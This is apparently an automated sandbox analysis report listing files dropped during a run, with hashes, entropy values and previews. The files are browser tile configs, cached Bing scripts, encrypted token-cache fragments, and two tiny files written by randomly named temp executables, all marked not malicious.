C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.164486509208279
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4UxGwEoTOEJTw4TD90/QL3WIZK0QhPPwG8K0QU5EtMjwu:TMHdNMNxhGwEojFnWimI00OYG8K075Es
MD5:	6B6CE917F0E62EF368715C9E89B64421
SHA1:	57727C54DA9CDCBE3345327BB048126C1A3B7B13
SHA-256:	23E7391C91558AD764052D245390F5D132FA73733BEA74DE974E3448F9948010
SHA-512:	BEC1B37A15E04B0287789D3342DEA01D66C9E50E8EFBD46915CDC85B3EF831F67966EB5D1AB8A57BC6A884C1AA064B191EFC84FFE76F06403AE14230C0D60B38
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x553e2be6,0x01db5865</date><accdate>0x55408e57,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.135941760595615
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4Qun2gBoTOVgBoTw4TD90/QL3WIZK0QhPPwGAkEtMjwu:TMHdNMNx0n2EoUEoFnWimI00OYGxEtMb
MD5:	10BF5817664645BB525FB056CB90E1BC
SHA1:	3D88007DE0B15F8AE70C4C164FF49F64637015E3
SHA-256:	86C421EF689E23B6FBB6D889186754025852ABB633352FA5EA58A25B20ADEBFC
SHA-512:	A3A8469F8B9E8259B75FB4AFF7538045827E351F8A9221D942CF753CB04A013A650B3D44DB1DF1D64ED6102DFA926E95D8648EFB6DCE6B7AA8A891D39609BAF1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x553bc9c6,0x01db5865</date><accdate>0x553bc9c6,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.202518734220671
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4oTnRsTOVgBoTw4TD90/QL3WIZK0QhPPwG6Kq5EtMjwu:TMHdNMNxxRsUEoFnWimI00OYG6Kq5Ety
MD5:	48AD1D2DF603B695B51B272FF636A78E
SHA1:	D407B12A008C558A5B10F2E33A308FA48D6B8812
SHA-256:	F0BC68856B9E5A62884F82B17813B2827DC63DF998E81C2CFF01FA8BF90ADF54
SHA-512:	48EED7307583965E038ADE4C14CCD5B9802E10DF8A0F4883E1D79724352733C6DB432EEEA25EF91AB519840BE4DCC447F914D3279359876BAC9BD5851DCD5E0B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x55396745,0x01db5865</date><accdate>0x553bc9c6,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.128351252902095
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4YX2nOvTOLvTw4TD90/QL3WIZK0QhPPwG02CqEtMjwu:TMHdNMNxc6IFnWimI00OYGVEtMb
MD5:	3379ADC7941199D0CBCC98DB79F92889
SHA1:	5DE817ACA15535CF055F57634E549958B5739DB1
SHA-256:	AA5553C9E424990C28A6875813560150F6E041484EC2BC689BBD17E242D5D2EF
SHA-512:	28DF26C56FBE580F7FF6D7B0C4790B01586FB23C469A0782828F85A1D4C4D8B918679CC54CB433A0A5E378F989C681944641FA3376833B264D62B3172EA88E53
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x55370507,0x01db5865</date><accdate>0x55370507,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.146345833504228
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4InOvTOgRsTw4TD90/QL3WIZK0QhPPwGiwE5EtMjwu:TMHdNMNxfn6jsFnWimI00OYGe5EtMb
MD5:	135AA99208C6AC7AF933D67ED49EEDF9
SHA1:	BAFFE2460965B0CC07F5691279A26E7AC712DF7F
SHA-256:	E46D35BDE5C603457A6A9DF4C37FD6A07F7FAA68B6EC225C47FE0CFC39CAA58B
SHA-512:	C53B764F25CC1A1D11B30E9064E392BF3ED9B3E7BB54FBCEFC44EFF318EE539FCFAA9C9E6F92927D33B5843A772258C8C611A3720F328F7C056D7F82049E8D8E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x55370507,0x01db5865</date><accdate>0x55396745,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\lrfo5ax\imagestore.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13272
Entropy (8bit):	2.801763488953446
Encrypted:	false
SSDEEP:	48:jXaVBRh+sCBykteatiBn4KWi1+NiHXJM57yJHXJM57yS:6Ph+Qhato4xQZMuZMF
MD5:	6E4F388F10628F7F96231A01E8E256B9
SHA1:	88F4848E5BA10F59FBCA1A1C858D6DAAFE4ACDEB
SHA-256:	6B6B4FE0159F54B9995D11E7ED547BD53D1724CC3C5B7CE6540949282F069D8C
SHA-512:	8A98C91992674298685D0789C57D76F761F432FC09D478BABB9881365CE2B4CF5ACB6E2C990CD98AC93C033BA8C00D7A7DFBBE830427EAD73E967114020F6D30
Malicious:	false
Preview:	........ .h.t.t.p.s.:././.w.w.w...b.i.n.g...c.o.m./.f.a.v.i.c.o.n...i.c.o........... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8417526784174134
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx7xl9Il8uZyMZSiPKBqXfhHpgPJ4NsPtk28pyDd1rc:mqYLSiZXfPgPCNsPtk28Yk
MD5:	371711C8136E88D8916D98CD32025867
SHA1:	3D26FCB6FA6EB76D898F0CDE8C3A9274F14591A1
SHA-256:	1B52881B785872231C50519E12B8520FCECB35629292EF891735BB506379CFAC
SHA-512:	63FED51B324E75FB469D5FE56240F01B121A0D1E24826DA055491510E7F900697331D7336B0F4C0178DA337999FBC3273A4352D2FBEAA189E11C551901759E4F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.9.g.p.G.1.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.X.3.e.5.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.999597364430199
Encrypted:	false
SSDEEP:	96:OYk0JtL+eT/RJU363el9k9Ul3UOn+RPKTD2Mlf:OIJtL+e1JUyeleUHnj2ef
MD5:	BD9F42F3E400DCDD3920BBB757EEFF54
SHA1:	29800223AFA22244776DF14BEAD71E6F2882AF60
SHA-256:	9842866720B19ECE8FFECF2DE39246B4E30525B4773F849E732677851D8E31EB
SHA-512:	64002127DE811DF5D2F762ABDAB5322FA94B6192FFAAD965C8F2279CB859D1AD137D9BF5ED947EF647B15D22D166EE318AA9463CB5C0BDD246B3E58167EF893F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".i.d.r.8.h.2.V.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.X.3.e.5.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9063915702300576
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xNxl9Il8uZ1YL8OpgBqF2vcD9ib0EcXuRIUs/Rytmd/vc:aTYdK2UIb/hIUsYp
MD5:	A07916E684F2DA8F9ECBA2A9C3DED1DB
SHA1:	FBE68BA09B77DE7260961981616C0118F9D5F61D
SHA-256:	A351341A2F930655647512B042394358B19F51A2FA278D502EDF910D4E40C159
SHA-512:	360F3F818C0C0FF1166AA11FD6054EC9F366780666D266A6327CC6B3E7F5759D144E6A6ABD68C2F86A81876C41C0CBC2EDC153744DFB1D1BDE526CE1C627B963
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".t.Z.V.9.t.j.Z.3.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.X.3.e.5.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\2LpcFhWkqO2O6Txcji6g-0kKCZQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1060), with no line terminators
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	5.351152776949957
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1nAA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGD0zRPo
MD5:	F4DA106E481B3E221792289864C2D02A
SHA1:	D8BA5C1615A4A8ED8EE93C5C8E2EA0FB490A0994
SHA-256:	47CB84D180C1D6BA7578C379BDC396102043B31233544E25A5A6F738BB425AC9
SHA-512:	66518EE1B6C0DF613074E500A393E973844529CA81437C4BAFE6BF111CBA4D697AF4FE36B8D1B2AA9B25F3EB93CD76DF63ABFC3269AC7E9F87C5F28A3764008E
Malicious:	false
Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(document.body,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\62J16BFN.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.469999278451778
Encrypted:	false
SSDEEP:	3:N8DSLUxGTKSEIY/nN7n:2OLUxGF5YN
MD5:	7C9CDF67554CFF98AF8B1D1F0BD074A1
SHA1:	282F53D7915D8666E164CF9EBD54D67E081C9CCD
SHA-256:	1DE23C52A9785F1C164EDB5FB6452034099ECC5E444882CC533F60575EE0B282
SHA-512:	9E369D74CFBC6ADEE24983ACF5B59326D620EB590FAFA60888667D7B63449A096357396FB0676F9CBF976A078E6FD07F2EA7C370A89CC246831A2BDBFA72864E
Malicious:	false
Preview:	https://www.youtube.com/watch?v=wjIuS_rQQsY

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\95z5wMy4UcfbSSSlSw780vQ5jKA[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5387
Entropy (8bit):	7.799957991588148
Encrypted:	false
SSDEEP:	96:sQ+bfdSpU7SG7bVFwZ1w2f7yXMAZpqdiCRf6LtoIJ7g0WRiKQS+FhIeEIboU3cq:sRdSpU7vbVFwZ11jIIO6M7JqoIZuz3cq
MD5:	69D162774F894FF8B920330E376B7A62
SHA1:	F79CF9C0CCB851C7DB4924A54B0EFCD2F4398CA0
SHA-256:	C9FAA34663FE19EB4D8C007BF00AD7C4BC993F70C9FC42A04801ECCDD59008F7
SHA-512:	9D0E7FA4AC408D9D7D86186E05258BDB615B04AE8EC0DF813C3307A646EC4F87AABA1FCD77914AEA1FFE3607B87BBCA2DCC5D18C076D8AECDEA1496910AEC87D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:38:22....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.......................................................................................S&....1...\.g).l.....^S......^,I..c.7,..YX(."..>wiT.y.:^8........R.-)s..>.+@..c..V.[Af...T.........3........B.\|.~...A..\|..r.......(qC..m~..nb...r.LIU.i3.K..........y.]5..\W;b.:/F...v.OW.R^...y^}4._...I4.t....l......,.$.C.....6..IS..E...../..J...5...%....Z.eK.u....j.........*x.{..t.!....@,...}..W...X8.S.........X.Z...-.w..(.8...z..EC..\....8.m5...z....Y.!\...!@.<:b].-.i}.....?..%...=gE.VM..\.2CJ..kK.d...o.!..v...M.e..4,...l...Y0...V.[.g..r.....h.....[-..-.....J....9kA..L...#.!"."kO.;...R.2...)Mr...X8....G.;A..".!az..Ud.Ie......+..........................!34 "12..$0ABCD........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\9IaydF5GN9iBQi04x3gMBBYYFoo[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (674), with no line terminators
Category:	dropped
Size (bytes):	674
Entropy (8bit):	5.239693493116514
Encrypted:	false
SSDEEP:	12:GyX+fnReu8VliHMtm5vXuMp4CWhneMNqOgqpsRWc9mMCDBMw0n:GS4Reu+kSkNCnvVgqSRWzAn
MD5:	8D078E26C28E9C85885F8A362CB80DB9
SHA1:	F486B2745E4637D881422D38C7780C041618168A
SHA-256:	0BF9F3AD9CDBBC4D37C8B9E22DD06CC26EEA12A27EF6C0F95DB6CBE930177461
SHA-512:	B808A972CD44E6BDA01AC1F8D904D5A281F33B9238B8CAAB03DECB6ADB6B494B19DD9BB35E3D1EA3CA914FF4957155F6D2CB5A9B3A00C2195F80F52804FFB244
Malicious:	false
Preview:	var LinksColorOnMD;(function(n){function i(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function o(n){if(n.button===0&&!n.ctrlKey&&!n.shiftKey){var f=i(sj_et(n));f&&(Lib.CssClass.add(f,t),r[f.href]=sb_st(function(){u(f)},5e3))}}function u(n){Lib.CssClass.remove(n,t)}function s(n){h(n);var r=i(sj_et(n));r&&Lib.CssClass.remove(r,t)}function h(n){var t=i(sj_et(n)),f;t&&(f=r[t.href],f&&sb_ct(f),e&&u(t))}function f(){for(var n,i=_d.getElementsByTagName("A"),t=0;t<i.length;t++)(n=i[t],n)&&(sj_be(n,"mousedown",o),sj_be(n,"click",s))}var t="b_LinksColorMD",r={},e=sj_cook&&sj_cook.get("SRCHHPGUSR","NEWWND")==="1";n.bind=f;f()})(LinksColorOnMD\|\|(LinksColorOnMD={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\A65F5JB3t9h9f8xDRXS6SflWZOM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (902), with no line terminators
Category:	dropped
Size (bytes):	902
Entropy (8bit):	5.200751776659475
Encrypted:	false
SSDEEP:	24:Hl7/nJ4aZUv+MW/sRdrwq50n+pM12vk1Q4W3Idc4Wn:d/Caq+M93H5kOaC3Idmn
MD5:	76ED74A9FD9A74443976389C069CC74A
SHA1:	03AE45E49077B7D87D7FCC434574BA49F95664E3
SHA-256:	B443A3D58AEC4919E37DF4629F8C759A43091B1F63B5A815F8052DF0D8D46804
SHA-512:	D2D13DA2F47C2E94DB3A3B9B6F5185C8352268B1D336BAAA856177BE4B098535BD71BC53819FC73C0F4970DABCB7ECC7F375B4DEB1C25B25474551204B6921F4
Malicious:	false
Preview:	var HeaderPlusAlgo_Selector;(function(n){function e(n){for(var u,l,h,e=[],c=t(sj_b.querySelectorAll(f+(n?", :focus":""))),s=0;s<c.length;s++)u=c[s],u.className.indexOf("b_ans")!=-1\|\|u.id=="b_pole"?(l=t(u.querySelectorAll(r)),l.length==0&&(h=o(u),h&&e.push(h))):i(u)\|\|e.push(u);return e}function t(n){for(var i=[],t=0;t<n.length;t++)i.push(n[t]);return i}function i(n){if(n){var t=window.getComputedStyle(n);return t&&t.display=="none"?!0:i(n.parentElement)}return!1}function o(n){for(var r,e=t(n.querySelectorAll(u)),f=0;f<e.length;f++)if(r=e[f],!i(r)&&r.tabIndex!=-1)return r;return null}var r="#b_results h2 a,#b_results h3 a,#b_results h4 a",u="input, select, textarea,a[href],*[tabindex = '0']",f=r+",#b_results .b_ans,#b_content #b_pole,#b_content #b_topw";n.getSelectableElements=e})(HeaderPlusAlgo_Selector\|\|(HeaderPlusAlgo_Selector={}));NavSelector=HeaderPlusAlgo_Selector.getSelectableElements

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\A65F5JB3t9h9f8xDRXS6SflWZOM[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (902), with no line terminators
Category:	dropped
Size (bytes):	902
Entropy (8bit):	5.200751776659475
Encrypted:	false
SSDEEP:	24:Hl7/nJ4aZUv+MW/sRdrwq50n+pM12vk1Q4W3Idc4Wn:d/Caq+M93H5kOaC3Idmn
MD5:	76ED74A9FD9A74443976389C069CC74A
SHA1:	03AE45E49077B7D87D7FCC434574BA49F95664E3
SHA-256:	B443A3D58AEC4919E37DF4629F8C759A43091B1F63B5A815F8052DF0D8D46804
SHA-512:	D2D13DA2F47C2E94DB3A3B9B6F5185C8352268B1D336BAAA856177BE4B098535BD71BC53819FC73C0F4970DABCB7ECC7F375B4DEB1C25B25474551204B6921F4
Malicious:	false
Preview:	var HeaderPlusAlgo_Selector;(function(n){function e(n){for(var u,l,h,e=[],c=t(sj_b.querySelectorAll(f+(n?", :focus":""))),s=0;s<c.length;s++)u=c[s],u.className.indexOf("b_ans")!=-1\|\|u.id=="b_pole"?(l=t(u.querySelectorAll(r)),l.length==0&&(h=o(u),h&&e.push(h))):i(u)\|\|e.push(u);return e}function t(n){for(var i=[],t=0;t<n.length;t++)i.push(n[t]);return i}function i(n){if(n){var t=window.getComputedStyle(n);return t&&t.display=="none"?!0:i(n.parentElement)}return!1}function o(n){for(var r,e=t(n.querySelectorAll(u)),f=0;f<e.length;f++)if(r=e[f],!i(r)&&r.tabIndex!=-1)return r;return null}var r="#b_results h2 a,#b_results h3 a,#b_results h4 a",u="input, select, textarea,a[href],*[tabindex = '0']",f=r+",#b_results .b_ans,#b_content #b_pole,#b_content #b_topw";n.getSelectableElements=e})(HeaderPlusAlgo_Selector\|\|(HeaderPlusAlgo_Selector={}));NavSelector=HeaderPlusAlgo_Selector.getSelectableElements

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\AOH7HHV9.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fsa_OI0AplCnVoXGca8ALOo0S0s[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
